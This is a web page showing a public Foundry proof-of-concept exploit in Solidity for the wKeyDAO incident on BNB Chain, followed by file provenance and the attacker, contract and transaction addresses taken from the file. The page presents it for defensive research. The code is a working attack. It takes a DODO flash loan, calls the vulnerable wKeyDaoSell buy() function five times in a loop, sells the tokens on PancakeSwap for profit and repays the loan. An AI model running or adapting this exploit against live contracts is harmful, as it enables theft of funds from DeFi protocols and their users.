Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/wKeyDAO_exp.sol

Public reproduction file for dataset entry wKeyDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/wKeyDAO_exp.sol159 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4
5import "../basetest.sol";
6import {IERC20, WETH} from "../interface.sol";
7
8// @KeyInfo - Total Lost : ~767 US$
9// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
10// Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e3
11// Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd851
12// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12
15// @Analysis
16// Post-mortem : https://x.com/Phalcon_xyz/status/1900809936906711549
17// @POC Author : [Yajin Zhou](https://x.com/yajinzhou)
20// Contracts involved
21address constant wKeyDaoSell = 0xD511096a73292A7419a94354d4C1C73e8a3CD851;
22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
23address constant wKeyDAO = 0x194B302a4b0a79795Fb68E2ADf1B8c9eC5ff8d1F;
24address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
26contract wKeyDao_exp is Test {
27 address attacker = makeAddr("attacker");
29 function setUp() public {
30 vm.createSelectFork("bsc", 47_469_060 - 1);
31 }
33 function testPoC() public {
34 vm.startPrank(attacker);
35 Attacker attc = new Attacker();
37 uint balanceBefore = IERC20(BUSD).balanceOf(address(attc));
39 attc.fire();
41 uint balanceAfter = IERC20(BUSD).balanceOf(address(attc));
43 console2.log("Profit: ", (balanceAfter - balanceBefore) / 1e18);
45 }
48contract Attacker {
50 function fire() external {
51 __dodoFlashLoan(address(0x107F3Be24e3761A91322AA4f5F54D9f18981530C), 1_200e18, BUSD);
52 }
54 function onERC721Received(
55 address,
56 address,
57 uint256,
58 bytes calldata
59 ) external pure returns (bytes4) {
60 return IERC721Receiver.onERC721Received.selector;
61 }
63 function __dodoFlashLoan(
64 address flashLoanPool, //You will make a flashloan from this DODOV2 pool
65 uint256 loanAmount,
66 address loanToken
67 ) internal {
68 bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);
69 address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
70 console2.log("flashLoanBase Balance:", flashLoanBase);
72 if(flashLoanBase == loanToken) {
73 IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);
74 } else {
75 IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);
76 }
77 }
79 //Note: CallBack function executed by DODOV2(DVM) flashLoan pool
80 function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {
81 _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
82 }
84 function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {
85 (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));
87 require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");
89 __realAttack();
91 //Return funds
92 IERC20(loanToken).transfer(flashLoanPool, loanAmount);
93 }
95 function __realAttack() internal {
97 //approve BUSD to wKeyDaoSell
98 IERC20(BUSD).approve(wKeyDaoSell, 1_000_000e18);
100 //approve wKeyDAO to pancakeSwapRouterV2
101 IERC20(wKeyDAO).approve(pancakeSwapRouterV2, 10000000000000000000000000000000);
103 // to save time, we loop 5 times. -- can buy 67 times in total
104 for (uint256 i = 0; i < 5; i ++) {
105 //buy
106 IwKeyDaoSell(wKeyDaoSell).buy();
108 //sell wKeyDAO
109 address[] memory path = new address[](2);
110 path[0] = address(wKeyDAO);
111 path[1] = address(BUSD);
112 IPancakeRouter02(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
113 IERC20(wKeyDAO).balanceOf(address(this)),
114 0,
115 path,
116 address(this),
117 block.timestamp
118 );
119 }
121 }
124interface IwKeyDaoSell {
125 function buy() external ;
128interface IDODO {
129 function flashLoan(
130 uint256 baseAmount,
131 uint256 quoteAmount,
132 address assetTo,
133 bytes calldata data
134 ) external;
136 function _BASE_TOKEN_() external view returns (address);
137 function _BASE_RESERVE_() external view returns (uint112);
138 function _QUOTE_TOKEN_() external view returns (address);
139 function _QUOTE_RESERVE_() external view returns (uint112);
142interface IERC721Receiver {
143 function onERC721Received(
144 address operator,
145 address from,
146 uint256 tokenId,
147 bytes calldata data
148 ) external returns (bytes4);
151interface IPancakeRouter02 {
152 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
153 uint amountIn,
154 uint amountOutMin,
155 address[] calldata path,
156 address to,
157 uint deadline
158 ) external;

Analysis

Dataset entry

Public Foundry test for “wKeyDAO” (2025-03-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3026c464d3bd6ef0ced0d49e80f171b58176ce32

  • Attack Contract

    0x3783c91ee49a303c17c558f92bf8d6395d2f76e3

  • Vulnerable Contract

    0xd511096a73292a7419a94354d4c1c73e8a3cd851

  • Attack Tx

    0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8

File record

Name
wKeyDAO
Path
src/test/2025-03/wKeyDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5290992e99606015e5cdaa91be2ce3ffc861424b
Language
Solidity
Size
160 lines
Date
2025-03-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/wKeyDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5290992e99606015e5cdaa91be2ce3ffc861424b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.